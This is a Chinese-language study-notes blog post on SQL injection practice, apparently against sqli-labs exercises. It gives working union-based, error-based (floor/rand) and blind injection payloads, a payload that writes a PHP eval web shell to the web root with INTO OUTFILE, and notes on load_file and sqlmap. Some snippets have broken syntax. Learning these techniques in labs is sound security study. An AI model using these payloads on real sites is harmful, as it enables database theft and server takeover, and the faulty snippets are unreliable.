sql注入(学习笔记)

phpstudy cmd

mysql -u root -p

web层漏洞,针对数据库的漏洞

1.web页面与数据库有交互点

2.可以控制参数,传任意想执行的语句到数据库中执行

传参方式:get方式,post方式

LINUX默认PHP环境

/var/www/html

SQL注入-联合查询:

1.判断注入类型

and判断

1=1 and 1=1 真

1=1 and 1=2 假

1=2 and 1=2 假

字符型注入闭合方式: ' " ) ') " )

 注释符:—+ # %23 %00 

 注释limit

2.联合查询

 

判断实际列数order by

 

 

查看回显位置 union

浏览器只能展示一个select语句的查询结果,让前面的查询语句找不到查询结果。

 

 

 

 

 

 

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ //全部显示

常用函数

version()//查数据库版本
user()//查数据库当前使用者
database()//查询数据库名称
load_file()//读取本地文件
group_concat()//把数据在一起展示
hex()//进行16进制转码
unhex()//进行16进制解码

 

id=-33 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='cms' --+

 load_file("")

通用表:

information_schema.schemata//存储了数据库所有数据库名
information_schema.tables//存储了数据库所有表名
information_schema.columns//存储了数据库所有列名

常见字段:

table_schema//数据库名称
table_name//表名
column_name//列名

联合查询

 

报错注入

 

布尔盲注

 

一句话木马

id=-32 union select 1,2,user(),4,5,6,7,8,9,10,"<?php @eval($_POST['c']);?>",12,13,14,15 into outfile "/var/www/html/pte.php"--+

 

 

SQL语句

show databases;//显示数据库
show tables;//显示表

create database pte;//创建数据库

create table user (
uid int(32) primary key auto_increment,//设置主键
uname varchar(32),
upassword varchar(32)
);

use pte;//使用数据库

desc 表名;//查看表
insert into user (uid,uname,upassword) values (1,"zhang",12345);//写入数据
select * from user;
select uname from user;
select * from user where uid=2;
select * from user where upassword;
报错注入
rand()//随机生成数
floor()//向下取整
group by //排序

 

 

floor(rand(0)*2)产生数据为固定数据01101.........

 select substr(database(),1,1);        //截取函数
 select ascii((substr(select database()),1,1)>111;//猜测长度

 

 

报错注入

group by 分俩阶段,先检索,再写入。

 

 

第五关

字符型注入

id=1' union select null,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a  --+

 ?id=-2' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

limit 0,1是第一个表,limit 1,1是第二个表

 ?id=-2' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

盲注

select substr(database(),1,1); //截取函数

select ascii((substr(select database()),1,1)>111;//猜测长度

 

 

1.布尔盲注

 

第八关

判断类型

猜测长度

 

 

sqlmap

 

 

 -dbs//爆数据库

 爆表

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值